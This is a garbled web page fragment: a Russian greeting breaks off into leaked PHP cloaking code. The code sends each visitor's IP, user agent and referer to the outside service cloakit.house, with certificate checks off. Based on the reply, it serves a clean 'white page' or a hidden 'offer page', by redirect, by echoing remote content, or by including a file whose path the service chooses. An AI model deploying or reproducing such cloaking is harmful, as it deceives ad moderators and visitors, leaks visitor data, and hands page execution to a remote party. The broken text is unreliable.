Привет, сегодня '77b5a8c16e23091990e2ac3c4d0ceeac', 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'referer' => $_SERVER['HTTP_REFERER'], 'query' => $_SERVER['QUERY_STRING'], 'ip_address' => $ip_address ]; $ch = curl_init('https://cloakit.house/api/v1/check'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($request_data)); $result = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); if ( ! empty($info) && $info['http_code'] == 200) { $body = json_decode($result, TRUE); if ( ! empty($body['url_white_page']) && ! empty($body['url_offer_page'])) { // Options $сontext_options = ['ssl' => ['verify_peer' => FALSE, 'verify_peer_name' => FALSE], 'http' => ['header' => 'User-Agent: ' . $_SERVER['HTTP_USER_AGENT']]]; // Offer Page if ($body['filter_page'] == 'offer') { if ($body['mode_offer_page'] == 'loading') { if (filter_var($body['url_offer_page'], FILTER_VALIDATE_URL)) { echo str_replace('', '', file_get_contents($body['url_offer_page'], FALSE, stream_context_create($сontext_options))); } elseif (file_exists($body['url_offer_page'])) { require_once($body['url_offer_page']); } else { exit('Offer Page Not Found.'); } } if ($body['mode_offer_page'] == 'redirect') { header('Location: ' . $body['url_offer_page'], TRUE, 302); exit(0); } if ($body['mode_offer_page'] == 'iframe') { echo ' '; } } // White Page if ($body['filter_page'] == 'white') { if ($body['mode_white_page'] == 'loading') { if (filter_var($body['url_white_page'], FILTER_VALIDATE_URL)) { echo str_replace('', '', file_get_contents($body['url_white_page'], FALSE, stream_context_create($сontext_options))); } elseif (file_exists($body['url_white_page'])) { require_once($body['url_white_page']); } else { exit('White Page Not Found.'); } } if ($body['mode_white_page'] == 'redirect') { header('Location: ' . $body['url_white_page'], TRUE, 302); exit(0); } } } } ?>.